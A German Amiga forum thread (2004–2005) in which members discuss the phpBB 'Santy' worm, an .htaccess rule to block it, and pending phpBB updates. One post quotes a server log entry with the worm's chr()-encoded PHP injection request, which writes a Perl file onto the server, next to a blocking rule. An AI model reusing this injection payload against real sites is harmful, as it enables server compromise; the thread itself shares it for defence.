German Amiga Community

Verfasst: **22.12.2004, 19:35**

Vielleicht ist das für Interesse.

http://www.heise.de/newsticker/meldung/54550

Verfasst: **22.12.2004, 22:42**

Ist bekannt, trotzdem danke

Im Moment betrifft uns dieser Wurm nicht, da Google die viewtopic.php von diesem Board nicht indiziert hat. Also kann der Wurm dieses Board nicht finden.

Verfasst: **22.12.2004, 22:50**

Betrifft eh nur "Webmaster" die zu faul/böd waren URL-Rewriting zu aktivieren......

Verfasst: **22.12.2004, 23:25**

http://www.c16.de hat´s z.B. erwischt.....

Verfasst: **23.12.2004, 08:09**

Ich finds einfach nur traurig daß sowas überhaupt passiert.

Die Schuld muß man dabei aber bei beiden suchen.
Zum ersten bei denen, die solche Würmer schreiben, aber auch bei den sogenannten Webmastern, die den Sicherheitsaspekt einfach schlabbern.

Sicher gibt es keinen 100%igen Schutz vor allem, aber wenn ein Webmaster noch nichtmal die bekannten Lücken schließt ist er es irgendwo selber schuld, oder?

Verfasst: **23.12.2004, 08:40**

Falls es jemanden interessiert:

Man kann sich vor dem Wurm schützen, indem man folgendes in die .htaccess einträgt:

Code: Alles auswählen

        RewriteEngine On
        RewriteCond %{QUERY_STRING} ^(.*)echr(.*) [OR]
        RewriteCond %{QUERY_STRING} ^(.*)esystem(.*)
        RewriteRule ^.*$                                -               [F]

Und hier der Quelltext des Wurms:

Code: Alles auswählen

"GET
/viewtopic.php?p=9002&sid=f5
399a2d243cead3a5ea7adf15bfc872&highlight=%2527%252Efwrite(fopen(chr(109)%252echr
(49)%252echr(104)%252echr(111)%252echr(50)%252echr(111)%252echr(102),chr(97)),ch
r(35)%252echr(33)%252echr(47)%252echr(117)%252echr(115)%252echr(114)%252echr(47)
%252echr(98)%252echr(105)%252echr(110)%252echr(47)%252echr(112)%252echr(101)%252
echr(114)%252echr(108)%252echr(10)%252echr(117)%252echr(115)%252echr(101)%252ech
r(32)),exit%252e%2527 HTTP/1.0" 200 13648 "http://forum.CLIENT SITE
OMITTED.com/
viewtopic.php?p=9002&sid=f5399a2d243cead3a5ea7adf15bfc872&highlight=%2527%252Efw
rite(fopen(chr(109)%252echr(49)%252echr(104)%252echr(111)%252echr(50)%252echr(11
1)%252echr(102),chr(97)),chr(35)%252echr(33)%252echr(47)%252echr(117)%252echr(11
5)%252echr(114)%252echr(47)%252echr(98)%252echr(105)%252echr(110)%252echr(47)%25
2echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(10)%252echr(117)%252ec
hr(115)%252echr(101)%252echr(32)),exit%252e%2527" "Mozilla/4.0
(compatible; MSIE 6.0; Windows NT 5.1)"

Verfasst: **26.12.2004, 11:54**

Nur mal so zur Info:

Heute wurde mein Server von diesem neuen PHP-Wurm (nicht der phpBB) angegriffen.

Die Einträge in der .htaccess wie ich weiter oben beschrieben habe (allerdings auf den neuen Wurm abgewandelt), haben den Angreifer erfolgreich abgewehrt!

Verfasst: **26.12.2004, 12:36**

Da die meisten Suchmaschinen auf die robots.txt schauen, kannst Du mit der Datei schon mal verhindern, dass die grossen Suchmaschinen wie Google oder Yahoo die viewtopic.php indizieren. Somit kann die Datei nicht von dem Wurm gefunden werden. Allerdings übergehen einige Suchmaschinen diese Datei, also ist es eher kein 100%iger Schutz vor diesen dämlichen Krabbeltieren.

Ansonsten reicht es, wenn Du den Workaround in Dein Forum einbaust, der im phpBB-Forum zu finden ist -> klicksch Du
Version 2.0.11 vom phpBB2 installieren ist natürlich die sicherste aller Möglichkeiten - sollte man vielleicht auch hier tun...

Verfasst: **26.12.2004, 13:42**

Birdy hat geschrieben:Da die meisten Suchmaschinen auf die robots.txt schauen, kannst Du mit der Datei schon mal verhindern, dass die grossen Suchmaschinen wie Google oder Yahoo die viewtopic.php indizieren. Somit kann die Datei nicht von dem Wurm gefunden werden. Allerdings übergehen einige Suchmaschinen diese Datei, also ist es eher kein 100%iger Schutz vor diesen dämlichen Krabbeltieren.

Ansonsten reicht es, wenn Du den Workaround in Dein Forum einbaust, der im phpBB-Forum zu finden ist

Ich benutze ja gar kein phpBB

Und der Wurm, den ich beschrieben habe, ist ein reiner PHP-Wurm, der mit dem CMS rein gar nichts zu tun hat.

Von rotots.txt halte ich überhaupt nichts, weil immer weniger Bots sich dran halten.

Verfasst: **28.02.2005, 13:22**

Es ist mal wieder ein phpBB-Update fällig - siehe
http://www.heise.de/newsticker/meldung/56866

Zumindest den manuellen Fix für die kritische Lücke sollte man mal einbauen.

Verfasst: **28.02.2005, 13:40**

Wenns denn nur dieser eine Fix wär.
Es wären auch noch zwei andere Lücken zu schliessen, die in unserer Version 2.0.11 noch drin sind. Mal mit Retro darüber reden, wie wir das machen sollen...

Verfasst: **01.03.2005, 18:35**

Ich guck mir das nachher mal an, danke

Verfasst: **18.07.2005, 17:43**

Langsam wirds wirklich mal Zeit für ein phpBB-Update:
http://www.heise.de/newsticker/meldung/61794

Man muss ja nicht so lange mit dem Update warten, bis mal was passiert...

Verfasst: **18.07.2005, 18:06**

dort steht aber das nur user die sich beiträge mit ie angucken betroffen sind und da ie wohl kaum einer nutzt ist es ja nicht so schlimm...

Verfasst: **18.07.2005, 19:59**

Das Forum hier ist soweit uch weiß auf dem aktuellen Stand, sprich 2.0.16, nur der Versions-Datenbankeintrag ist nicht geändert worden.

German Amiga Community

phpbb 2.0.10

phpbb 2.0.10